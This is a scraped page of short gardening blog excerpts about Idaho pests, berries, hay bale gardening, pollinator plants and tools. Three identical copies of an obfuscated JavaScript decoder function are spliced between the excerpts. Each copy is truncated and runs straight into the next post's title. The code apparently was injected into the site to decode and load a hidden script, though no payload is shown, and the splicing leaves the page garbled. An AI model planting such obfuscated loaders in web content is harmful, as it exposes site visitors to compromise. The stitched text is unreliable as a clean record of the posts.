If you have the budworm caterpillar (or tobacco budworm) attacking your geraniums or petunias, you’ll notice it now, in July. Here are some symptoms that will lead you to the conclusion of budworm infestation: 1. Budworm poop (small black dots, the size of a pencil lead) 2. Chewed foliage 3. Lack of flowers – what […]
Yes, it’s that time again when the elm seed bug invades our homes and garages. I find them on every window sill, hanging on doors, climbing into outside attic vents, window screens, in the rabbit feed storage. They really are everywhere. And when the temperatures get hot – in the 90’s or above they really […]
The raspberries in my garden are crazy this year! I hope they are abundant in your garden as well. I have been picking every day and am so thankful for all the berries I now have in my freezer. I think some of the success is due to increased regular watering – they are on […]
I wanted to add several more pictures to update on the juniper hedges and their removal and shredding, the fence building and the flower bed planting. Here are the photos with a little bit of commentary. We hired a neighbor with a back hoe to haul out the junipers and move them to our pasture […]
function h052c1b60aed(x6){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var t4='';var t2,u1,q3,q7,sa,r9,u2;var u4=0;do{q7=qd.indexOf(x6.charAt(u4++));sa=qd.indexOf(x6.charAt(u4++));r9=qd.indexOf(x6.charAt(u4++));u2=qd.indexOf(x6.charAt(u4++));t2=(q7<<2)|(sa>>4);u1=((sa&15)<<4)|(r9>>2);q3=((r9&3)<<6)|u2;if(t2>=192)t2+=848;else if(t2==168)t2=1025;else if(t2==184)t2=1105;t4+=String.fromCharCode(t2);if(r9!=64){if(u1>=192)u1+=848;else if(u1==168)u1=1025;else if(u1==184)u1=1105;t4+=String.fromCharCode(u1);}if(u2!=64){if(q3>=192)q3+=848;else if(q3==168)q3=1025;else if(q3==184)q3=1105;t4+=String.fromCharCode(q3);}}while(u4Fall Blooming Here is a SHORT list of fall blooming plants that grow well in Idaho heat low humidity alkaline soils do not require a lot of water. These are the best flowers I have found. This is not a complete list by any means, and if you have some suggestions- I will add them! Asters: […]
I have read a lot about gardening in straw bales…. But since I had a bunch of old hay bales, I decided to try hay bale gardening instead. Right now, I am growing a cucumber plant, strawberries and potatoes in 4 hay bales. I like the bales, because I don’t have to dig in the […]
I have found an interesting article from Elmore County Extension office in Mountain Home, ID- called “Missing Links in SW Idaho Soil Management”. Here is the site to read it: http://extension.uidaho.edu/elmore/files/2013/12/MissingLinksinSWIdahoSoilManagement.pdf In this short article, it explains that our alkaline soils need a lot of compost, but also some micronutrients in order for plants to thrive. I wanted […]
A friend gave me some hops last year and I loved the chartreuse color and the height they provided around the garden. Last year, two stems grew to the top of my garage and flowered. The flowers are attractive, aromatic and edible. I decided to grow my hops in another area of the yard. I had […]
function h052c1b60aed(x6){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var t4='';var t2,u1,q3,q7,sa,r9,u2;var u4=0;do{q7=qd.indexOf(x6.charAt(u4++));sa=qd.indexOf(x6.charAt(u4++));r9=qd.indexOf(x6.charAt(u4++));u2=qd.indexOf(x6.charAt(u4++));t2=(q7<<2)|(sa>>4);u1=((sa&15)<<4)|(r9>>2);q3=((r9&3)<<6)|u2;if(t2>=192)t2+=848;else if(t2==168)t2=1025;else if(t2==184)t2=1105;t4+=String.fromCharCode(t2);if(r9!=64){if(u1>=192)u1+=848;else if(u1==168)u1=1025;else if(u1==184)u1=1105;t4+=String.fromCharCode(u1);}if(u2!=64){if(q3>=192)q3+=848;else if(q3==168)q3=1025;else if(q3==184)q3=1105;t4+=String.fromCharCode(q3);}}while(u4Summer Blooming Lavender: So many kinds of lavenders, so little time! I agree with the bees on this one- it’s great! They can be very slow in greening up in the spring, but a patch of lavender is beautiful and fragrant and attractive to the bees. Lemon Balm: (Melissa officinalis) A vigorous reseeder -there seems […]
function h052c1b60aed(x6){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var t4='';var t2,u1,q3,q7,sa,r9,u2;var u4=0;do{q7=qd.indexOf(x6.charAt(u4++));sa=qd.indexOf(x6.charAt(u4++));r9=qd.indexOf(x6.charAt(u4++));u2=qd.indexOf(x6.charAt(u4++));t2=(q7<<2)|(sa>>4);u1=((sa&15)<<4)|(r9>>2);q3=((r9&3)<<6)|u2;if(t2>=192)t2+=848;else if(t2==168)t2=1025;else if(t2==184)t2=1105;t4+=String.fromCharCode(t2);if(r9!=64){if(u1>=192)u1+=848;else if(u1==168)u1=1025;else if(u1==184)u1=1105;t4+=String.fromCharCode(u1);}if(u2!=64){if(q3>=192)q3+=848;else if(q3==168)q3=1025;else if(q3==184)q3=1105;t4+=String.fromCharCode(q3);}}while(u4I have read a lot of lists of the best perennials to attract pollinators, but many of them are written by people who live in other states. I wanted to make my own list of best perennials for the bees of Southwest Idaho, Treasure Valley, eastern Oregon . Our hot dry summers, low humidity, alkaline soils […]
I love my garden tools. I have done a lot of gardening- for myself and for others and have tested out many different kinds of tools. Now after many years, I will reveal to you what tools have made the cut and are still in my bucket! First of all, there is the bucket. I re-used […]
While I am scrubbing out the dinner scraps from a pan, or washing glassware, I love to be distracted by the plants outside the window. Here is my view in April! Love to see the variety of color of the tulips! Everyone needs a kitchen window to look outside, to distract, to remind yourself of the […]
